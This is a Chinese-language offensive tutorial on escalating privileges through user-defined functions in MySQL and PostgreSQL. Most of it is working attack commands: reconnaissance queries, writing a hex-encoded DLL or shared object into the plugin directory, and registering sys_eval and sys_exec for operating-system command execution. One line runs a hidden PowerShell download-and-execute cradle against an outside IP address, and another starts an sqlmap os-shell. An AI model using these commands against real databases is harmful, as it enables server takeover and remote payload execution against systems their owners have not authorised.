udf提权整理
udf提权整理
udf是什么
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
注:
- 看一下版本,5.1版本的udf提权需要将dll上传到
c:\windows\system32
下。 - 5.1以上需要放到下lib\plugin 。
- 5.7版本secure_file_priv默认为null,设置了以后只能通过修改my.ini,所以没办法进行INTO DUMPFILE写入文件,也就只能在有webshell的情况下进行提权。
Mysql
udf.dll
dll来源可以选择自己编译和下载网上的,我这里用的是sqlmap中自带的dll
其路径是:sqlmap/data/udf/mysql/windows/
但是他的dll是经过异或操作了的,需要在用他自带的脚本在异或一下还原。
脚本路径:sqlmap/extra/cloak
无webshell
在没有webshell的情况下可以利用以下命令查看相关信息:
SELECT @@basedir; --查看安装路径
SHOW VARIABLES LIKE '%plugins%'; --查找是否有plugins目录
show variables like '%compile%'; --查看数据库位数
show variables like "%secure%"; --查看是否由导出位置限制
在只有数据库账号的情况下有个问题就是如果对方服务器mysql版本不是完整版的话是没有lib\plugin文件夹的,google了下资料找到了可以利用NTDS ADS来创建文件夹
select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';
因为是没有webshell的情况下,需要利用INTO DUMPFILE导出dll文件,以16进制存入表中在导出成dll
获取16进制命令是
cat lib_mysqludf_sys.dll | xxd -p | tr -d '\n'
drop table udf_temp;
CREATE TABLE udf_temp (udf BLOB);
INSERT into udf_temp values (CONVERT(0x111111111,CHAR));
SELECT udf FROM udf_temp INTO DUMPFILE 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';
Create Function sys_exec returns string soname 'udf.dll';
Create Function sys_eval returns string soname 'udf.dll';
sqlmap的导出函数是sys_eval和/sys_exec
命令执行成功
select sys_eval("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://101.200.51.204:801/a2'))\"");
sqlmap中的dll应该是msf中的,其中有个比较实用的函数是sys_bineval
,这个函数是用来执行shellcode的。
但是只能在32位系统中运行,否则的话会引起mysql进程崩溃。
有webshell
有webshell就比较方便了,直接往li/plugin中上传dll后新建就可以了。
sqlmap
python3 sqlmap.py -d "mysql://root:123456@172.16.142.139:3306/mysql" --os-shell -v 3
可以看到连接上后也是通过insert传入16进制后储存到plugin路径下。
Postgre
查看版本
Postgre也存在udf功能,同理也可以进行写入so文件创建加载函数。
select version(); ##查看版本,在去sqlmap下找
创建so库
创建.so,执行自己需要用的命令
将so文件转换成16进制。
cat lib_postgresqludf_sys.so | xxd -p | tr -d '\n' > dll.txt
分割hex导出udf
postgre对于8k页大小的数据库来说,字段数据大小超过2k时才会触发压缩策略.
https://github.com/sqlmapproject/sqlmap/issues/1170
split -b 1900 dll.txt aaaa #用split分割到2k以下
一条一条执行下面的语句,不然内容内容会被压缩。
SELECT lo_create(1);
insert into pg_largeobject values (1, 0, decode('7f454c4602', 'hex'));
insert into pg_largeobject values (1, 1, decode('020000000200020', 'hex'));
insert into pg_largeobject values (1, 3, decode('00', 'hex'));
insert into pg_largeobject values (1, 4, decode('181e2000', 'hex'));
insert into pg_largeobject values (1, 5, decode('d020000', 'hex'));
SELECT lo_export(1, '/tmp/1.so');
创建函数:
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/1.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
执行函数:
select sys_eval('id');
删除函数:
DROP FUNCTION sys_eval(text);
DROP FUNCTION sys_exec(text);